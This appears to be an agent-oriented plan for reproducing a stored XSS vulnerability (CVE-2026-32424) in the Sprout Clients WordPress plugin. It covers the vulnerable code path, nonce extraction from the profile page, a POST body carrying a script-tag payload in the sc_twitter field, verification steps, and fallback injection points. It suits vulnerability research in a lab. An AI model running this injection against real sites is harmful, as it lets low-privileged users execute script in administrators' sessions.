Exploitation Research Plan - CVE-2026-32424 (Sprout Clients)

1. Vulnerability Summary

The Sprout Clients plugin for WordPress (versions <= 3.2.2) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to sanitize user input before storing it in user metadata and subsequently fails to escape that data when rendering it in the WordPress admin interface.

Specifically, the SC_Users::save_profile_fields function in controllers/clients/Clients_Users.php updates several user meta fields (sc_dob, sc_phone, sc_twitter, sc_linkedin, sc_note) directly from the $_POST array without using sanitization functions like sanitize_text_field. When an administrator or another privileged user views the affected user's profile, these fields are rendered without proper escaping, leading to script execution.

2. Attack Vector Analysis

• Endpoint: wp-admin/profile.php (for the Contributor to inject) and wp-admin/user-edit.php (for the Admin to trigger).
• Authentication: Contributor level or higher is required. A Contributor can edit their own profile, which is sufficient to trigger the vulnerability.
• Vulnerable Parameters: sc_twitter, sc_phone, sc_linkedin, sc_dob, sc_note.
• Preconditions: The Sprout Clients plugin must be active.

3. Code Flow

1. Entry Point: The plugin registers hooks to handle profile updates in SC_Users::init():
   • add_action( 'personal_options_update', array( __CLASS__, 'save_profile_fields' ) );
   • add_action( 'edit_user_profile_update', array( __CLASS__, 'save_profile_fields' ) );
2. Storage (Sink): When a Contributor saves their profile, SC_Users::save_profile_fields($user_id) is called.
   • It checks current_user_can( 'edit_user', $user_id ), which is true for a user editing themselves.
   • It executes: update_user_meta( $user_id, self::TWITTER, $_POST['sc_twitter'] ); (where self::TWITTER is 'sc_twitter').
   • No sanitization (e.g., sanitize_text_field) is applied to $_POST['sc_twitter'].
3. Rendering (Source): When an Admin views the user's profile, SC_Users::user_profile_fields($user) is triggered via:
   • add_action( 'show_user_profile', array( __CLASS__, 'user_profile_fields' ) );
   • add_action( 'edit_user_profile', array( __CLASS__, 'user_profile_fields' ) );
4. Execution: This function calls self::load_view( 'admin/user/profile_fields.php', ... ), passing the unsanitized metadata. The view (inferred from the patch description) echoes these values directly into the HTML without escaping functions like esc_attr().

4. Nonce Acquisition Strategy

The attack leverages the standard WordPress profile update mechanism.

1. Tool: browser_navigate to wp-admin/profile.php using the Contributor's credentials.
2. Extraction: Use browser_eval to extract the core WordPress profile nonce and user ID:
   • nonce = document.querySelector('input[name="_wpnonce"]').value
   • user_id = document.querySelector('input[name="user_id"]').value
3. Note: No plugin-specific AJAX nonce is required for this specific vector.

5. Exploitation Strategy

Step 1: Injection (Contributor)

Submit a POST request to wp-admin/profile.php to save the XSS payload into the sc_twitter field.

• URL: http://localhost:8080/wp-admin/profile.php
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Body Parameters:
  • _wpnonce: [EXTRACTED_NONCE]
  • action: update
  • user_id: [CONTRIBUTOR_ID]
  • sc_twitter: "><script>alert(document.domain)</script>
  • sc_phone: 555-0199
  • email: contributor@example.com (required by WP)
  • nickname: contributor (required by WP)

Step 2: Trigger (Administrator)

The Admin views the Contributor's profile to trigger the XSS.

• URL: http://localhost:8080/wp-admin/user-edit.php?user_id=[CONTRIBUTOR_ID]
• Action: Simply navigate to this page in the browser using the Admin's session.

6. Test Data Setup

1. Plugin: Install and activate sprout-clients version 3.2.2.
2. Users:
   • An Administrator user.
   • A Contributor user (to perform the injection).

7. Expected Results

• Upon the Contributor's POST request, the database should store the literal string "><script>alert(document.domain)</script> in the wp_usermeta table for the key sc_twitter.
• Upon the Administrator's navigation to the user edit page, an alert box showing the document domain should appear, confirming the script execution.

8. Verification Steps

1. Database Check: Use WP-CLI to verify the meta is stored unsanitized:
   • wp user meta get [CONTRIBUTOR_ID] sc_twitter
2. DOM Check: Use browser_eval on the Admin's view of the profile to check for the injected script tag:
   • browser_eval("document.body.innerHTML.includes('<script>alert(document.domain)</script>')")

9. Alternative Approaches

If the sc_twitter field is sanitized by a global filter, try the sc_note field or the client creation AJAX endpoint:

• Action: sa_create_client via wp-admin/admin-ajax.php.
• Parameter: sa_client_street (Note: This may require publish_posts capability).
• Nonce Action: sc_client_submission (Localized as sa_client_nonce in plugin JS).
• Code Reference: SC_Clients_AJAX::maybe_create_client in controllers/clients/Clients_AJAX.php. It uses self::esc__, which should be checked for bypasses if the profile fields fail.